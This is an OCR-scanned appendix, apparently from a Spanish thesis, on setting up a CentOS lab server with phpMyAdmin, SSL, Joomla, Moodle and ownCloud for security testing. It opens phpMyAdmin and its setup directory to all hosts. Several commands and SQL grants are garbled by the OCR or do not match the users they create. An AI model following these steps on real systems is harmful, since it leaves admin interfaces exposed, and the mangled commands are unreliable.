para que mas adelante se pueda acceder remotamente pidiendo la contrasefia de
administrador de la base de datos y asi no permita que cualquier usuario se pueda
conectar y haga modificaciones, a continuacion se edita el archivo como se muestra en la
figura A5 [26].
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<Directory /usr/share/phpMyAdmin/>
AddDefaultCharset UTF-8

<IfModule mod_authz_core.c>
# Apache 2.4
<RequireAny>

#Require ip 127.0.0.1 €======Se Comenta
#Require ip ::1 4€======Se Comenta
Require all granted €=============Se

a

</RequireAny>

</IfModule>

<IfModule !'mod_authz_core.c>
# Apache 2.2
Order Deny,Allow
Deny from All
Allow from 127.0.0.1
Allow from ::1

</IfModule>

</Directory>

<Directory /usr/share/phpMyAdmin/setup/>
<IfModule mod_authz_core.c>
# Apache 2.4
<RequireAny>
#Require ip 127.0.0.1 €======Se Comenta
#Require ip ::1  €======Se Comenta
Require all granted €=========== Se agrega
</RequireAny>
</IfModule>
<IfModule 'mod_authz_core.c>
# Apache 2.2
Order Deny,Allow
Deny from All
Allow from 127.0.0.1
Allow from ::1
</IfModule>
</Directory>

Figura A5. Configuracion del archivo phpMyAdmin.

Por ultimo reiniciamos el servidor para dar inicio a phpMyAdmin
#sudo systemctl restart httpd.service
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Para entrar a phpMyAdmin URL: 192.168.1.124 /phpMyAdmin, como se muestra en la
figura A6.

& 5 C M Bbeps//192.168.2.4/phpMyAdmin/#PMAURL-Oindex php?db=&utable=&server=1&target=&token=90f69ac
php
aglene Bases dedatos | [] SQL (i Estadoactual =7 Usuarios = Exportar [ Importar

Reciente Favoritas
=g Configuraciones generales

(4 Nueva
[ & Cambio de
. collabuacm

. information_schema = Cotsjamiento de la conexion al servidor @: | utfBmbd_unicode_ci
; K

#. ) moodieuacm

!

#1.J mysql

[ - - -

1] ownclouduacm raciones de apariencia

1] pag_uvacm
I -

#. performance_schema & dioma - Language @ | Espariol - Spanish

& Tema: | pmahomme ¥
+ Tamafio de fuente: | 82% ¥

# Més configuraciones

Figura A6. Servicio de phpMyAdmin.

A.6 SSL en httpd

Se instalaron certificados SSL para la seguridad que tendra el servidor, y al momento de
iniciar los servicios web poder entrar con URL segura. Por ejemplo: https
#sudo yum install mod_ssl

Se crea el directorio donde se guardaran los certificados de seguridad.
#mkdir /etc/httpd/ss|

Ahora que tenemos un lugar para colocar los archivos, se crean las claves y certificados SSL
con openssl:

#openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout
/etc/httpd/ssl/apache.key -out /etc/httpd/ssl/apache.crt

Abrir el archivo de configuracién SSL de Apache con cualquier editor de texto mediante

privilegios de root de la siguiente manera:
#vi /etc/httpd/conf.d/ssl.conf
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Hay que descomentar las lineas como se muestra en la figura A7.

/DocumentRoot /var/www/html/ \

ServerName www.example.cont443 Descomentar

Buscar SSICertificateFile y SSLCertificateKeyFile y cambiar el destino de los
certificados a la siguiente ruta.

SSLCertificateFile /etc/httpd/ssl/apache.crt Cambio de ruta
KSSLCertificateKeyFile /etc/httpd/ssl/apache.key /

Figura A.7.Configuraciéon de certificados SSL.

Se reinicia el servidor apache para que se activen los cambios realizados con el siguiente
comando.
#sudo apachectl restart

Dirigirse al navegador y poner la direccion del servidor, con la diferencia que sera por
medio de https como se muestra a continuacioén:

https:// 192.168.1.124

Para encriptar la informacién se usara los siguientes paquetes que son para generar claves
y certificados de seguridad:

#yum install crypto-utils

#genkey your_FQDN

A.7 Instalacion de joomla
Es un sistema de gestidén de contenidos de cddigo abierto, que permite desarrollar sitios
web dindmicos e interactivos a través de un panel de administracién.

Descargar el paquete de joomla en el servidor, mediante el siguiente comando.

# wget http://joomlacode.org/gf/download/frsrelease/19393/158832/Joomla_3.3.0-
Stable-Full_Package.zip

Se tiene que descomprimir el archivo y ubicarlo en la carpeta html ya que ahi se

encuentran todas las aplicaciones del servidor, para ello ejecutamos el siguiente comando.
# unzip Joomla_3.3.0-Stable-Full_Package.zip -d /var/www/html/
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Hay que dar permisos de administrador a la ubicacion para poder configurar el archivo
con el siguiente comando.

# chown -R apache.apache /var/www/html

Copiar el archivo htacces.txt con el siguiente comando.
# cp /var/www/html/htaccess.txt /var/www/html/.htaccess

Ir a la direccidn ip para terminar la instalacion de Joomla en modo gréfico. Es necesario
haber creado la base de datos y el usuario para poder terminar la instalacién.

Para entrar a la base de datos y crear usuario y contrasefia ver la figura A8.
#mysql -u root —p

C create database pag_uacm; . Contrasefia \
Usuario
| >create user user@localhost; | -
>set password for pag_uacm@localhost =|password (‘contrasefia’);
> GRANT ALL PRIVILEGES ON moodleuacm.* to pag_uacm@localhost identified
by 'contrasena’;
> flush privileges;

N

J

Figura A8. Configuracion de base de datos para joomla.

Una vez terminada la configuracion se tendra la pagina principal de joomla como se
muestra en la figura A9.

® 17217.120.129

Kaliprueba

Home Main Menu

Login Form

Figura A9. Servicio de jommla.
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A.8 Instalaciéon de moodle

Moodle es una aplicacion web de tipo ambiente educativo virtual, es un sitio de gestion de
cursos, de distribucién libre, que ayuda a los educadores a crear comunidades de
aprendizaje en linea. Este tipo de plataformas tecnolégicas también se conoce como LCMS
(Learning Content Management System) [27].

Es necesario instalar algunas librerias de PHP para poder instalar correctamente Moodle,
para ello ejecutamos lo siguiente:

#yum -y install php-common php-cli php-pear php php-pdo php-mysql libXpm php-gd
php-xml php-mbstring php-xmirpc php-intl php-soap

Descargar Moodle como se muestra a continuacioén:
#iwget http://nchc.dl.sourceforge.net/project/moodle/Moodle/stable26/moodle-latest-
26.tgz

hay que extraerlo y moverlo a la ruta /var/www/html/Moodle,
#tar xvzf moodle-latest-26.tgz
#mv moodle /var/www/html/moodle

De igual manera que los demas servicios hay que crear una base de datos para moodle.

Ejecutamos el siguiente comando y modificar como se muestra en la figura A10, cabe
mencionar que no necesariamente deben ser estos datos.
#mysql -u root —p

/> create database moodleuacm; lc \
| >create user user@localhost; | _ Usuario ontrasefia

>set password for moodleuacm@Ilocalhost ={ password (‘contrasefia’); |

> GRANT ALL PRIVILEGES ON moodleuacm.* to moodle@localhost

identified by

‘contrasefa’;

Q flush privileges; /

Figura A10. Confoguracion de base de datos para Moodle.

Dar permisos de administrador a la carpeta como se muestra a continuacion:
#chown -R apache:apache /var/www/html/moodle

#chmod -R 755 /var/www/html/moodle

#chown -R apache:apache /var/www/moodledata

#ichmod -R 755 /var/www/moodledata

#setsebool -P httpd_unified 1
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Nuevamente reiniciar el firewall.

#firewall-cmd --permanent --zone=public --add-service=http
#firewall-cmd --permanent --zone=public --add-service=https
#firewall-cmd —reload

De igual manera reiniciar el servidor.

#systemctl start httpd.service

# systemctl start mariadb.service

#systemctl enable httpd.service

#systemctl enable mariadb.service

Acceder con la ip como se muestra en la figura A11.
https:// IP/Moodle

€« C A |[4192.168.24/moodle

Usted no ha ingresado. (Ingresar)

pruebas_cloud_207 Espafial - Maxicn (ss_mx) ¥

Navegacion Calendario
Pagina Principal (home) P marzo 2016 >
Cursos Dom Lun Mar Mi Jue Vie Sib
12z 3 4 5

2 3
T EI e

3 1718

2 Z 2 25

Usted no ha ingresado. (Ingresar)

Figura Al11. Servicio de moodle.

A.8 Instalacion de Owncloud

Es una aplicacién libre que permite el almacenamiento en linea y aplicaciones en linea.
Owncloud puede ser instalado dentro de un servidor que disponga de una versidn reciente
de PHP y soporte de Mariadb. Este serd el servicio de almacenamiento para la realizacidén
de las pruebas de seguridad mediante el cual se va a extraer informacidn y archivos para
hacer una revision de la seguridad empleada al momento de subir archivos en linea.

Para iniciar la instalacion hay que Instalar las librerias de PHP5, esto para la conexipn de las

bases de dato desde php como se muestra a continuacion.

#yum install httpd php php-mysql mariadb-server mariadb sqlite php-dom php-mbstring

php-gd php-pdo wget
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Verificar que SELINUX este desactivado.

#setsebool -P httpd_unified 1

Cambiar la configuracion del Firewall como se ha hecho anteriormente.
#firewall-cmd --permanent --zone=public --add-service=http
#firewall-cmd --permanent --zone=public --add-service=https
#firewall-cmd --reload

Habilitar el servicio httpd en el arranque.

#systemctl start httpd.service
#systemctl enable httpd.service

Habilitamos el servicio de base de datos en el arranche.

#systemctl start mariadb.service
#systemct! enable mariadb.service

Descargar Onwcloud con el siguiente comando.

#waget https://download.owncloud.org/community/owncloud-8.2.1.tar.bz2

Extraer el archivo y enviarlo a la siguiente ruta /var/www/htmi/

#tar -jxvf owncloud-8.2.1.tar.bz2 -C /var/www/html/

Dar permisos de lectura esto para poder visualizar a Owncloud via web, para ello
ejecutamos lo siguiente.

#chown -R apache.apache /var/www/html/owncloud/

Se crea la base de datos para este servicio de a misma manera que en los servicios

anteriores, la configuracion empleada para este caso se muestra en la figura A12.
#mysql -u root —p
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/> create database owncloudeuacm;

| >create user ownclouduacm@Iocalhost: |

- Usuario l Contrasefa

~

> flush privileges;

\>quit;

>set password for ownclouduacm@localhost =|password (‘contrasefia’); |

> GRANT ALL PRIVILEGES ON ownclouduacm.* to owncloud@Ilocalhost
identified by 'contraseiia’;

J

Figura A12. Configuracién de base de datos para Owncloud.

Para la configuracion del servidor web Apache, se recomienda habilitar .htaccess para
conseguir unas caracteristicas de seguridad mejoradas, con .htaccess por defecto estd
desactivada en el servidor Apache. Para activarlo, abrir el archivo de host virtual y crea
AllowOverride se establecen en All para permitir el acceso, como se muestra en la figura
A13. Por ejemplo, crear un archivo de configuracion externa en lugar de modificar el
archivo principal, para ello se ejecuta el siguiente comando.

#vi /etc/httpd/conf.d/owncloud.conf

/<IfModuIe mod_alias.c> \

</IfModule>

Alias /owncloud /var/www/html/owncloud

<Directory “/var/www/html/owncloud”>
Options Indexes FollowSymLinks

AllowOverride All
Order allow,deny
allow from all

K</Directo ry>

Configuracion
para permitir acceso.

J

Figura A13. Configuracion de Allow Override.

#systemctl restart httpd.service
Dirigirse al navegador web y colocar la URL.
http://ip/owncloud, mostrado en la figura A14.
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{3 betprs://192.168.2.4/0wncloud/index.php

Figura A14. Servicio de Owncloud.


http://ip/owncloud

